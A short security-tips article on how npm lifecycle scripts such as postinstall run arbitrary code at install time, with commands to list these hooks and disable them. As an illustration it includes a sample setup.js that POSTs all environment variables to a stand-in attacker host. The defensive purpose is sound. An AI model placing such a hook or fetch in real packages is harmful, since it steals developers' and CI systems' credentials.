Yeda AI Tips · #168

Español

Audit Postinstall Scripts on Any Package

npm install just ran a stranger's shell script on your laptop.

Package managers let a dependency register lifecycle scripts that execute automatically during installation. preinstall, install, postinstall, and prepare all run arbitrary code the moment the package lands on your machine, with your user's permissions, before you have imported a single line of it. That is exactly why they are a favorite supply-chain attack vector: the payload fires at install time, on developer laptops and CI runners alike.

Why install hooks are dangerous

You do not have to call a function or import a module for the code to run. If a compromised or typosquatted package ships this, it runs during npm install:

{
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

And setup.js can do anything your shell can:

// exfiltrate environment variables (tokens, keys) to an attacker
const os = require('os');
fetch('https://attacker.example/collect', {
  method: 'POST',
  body: JSON.stringify(process.env),
});

CI runners are the high-value target: they hold cloud credentials, registry tokens, and signing keys in environment variables, and they install dependencies on every build. A single malicious postinstall in a transitive dependency reaches all of it.

The mechanism: audit install hooks

Before you trust a new or updated dependency, inspect its lifecycle scripts and flag any that run network or shell commands. Do it deliberately, not by eyeballing every node_modules folder:

# List every install/prepare script in the resolved tree
npm query ":attr(scripts, [postinstall]), :attr(scripts, [preinstall]), :attr(scripts, [install]), :attr(scripts, [prepare])"

Then gate installs so nothing runs by default and you opt in per package:

# Refuse to run any lifecycle script during install
npm install --ignore-scripts

Many teams set ignore-scripts=true in .npmrc globally and allow scripts only for the handful of packages (native builds) that genuinely need them.

The payoff

You catch supply-chain code execution before it runs, not after the damage is done. A flagged postinstall that pings an unknown host or spawns a shell is a review signal, not a breach report. The difference between the two is whether you looked before the code executed.

Power moves

Resources

Shipping AI or cloud systems? Yeda AI audits and hardens production LLM and container pipelines. Talk to us · Read the blog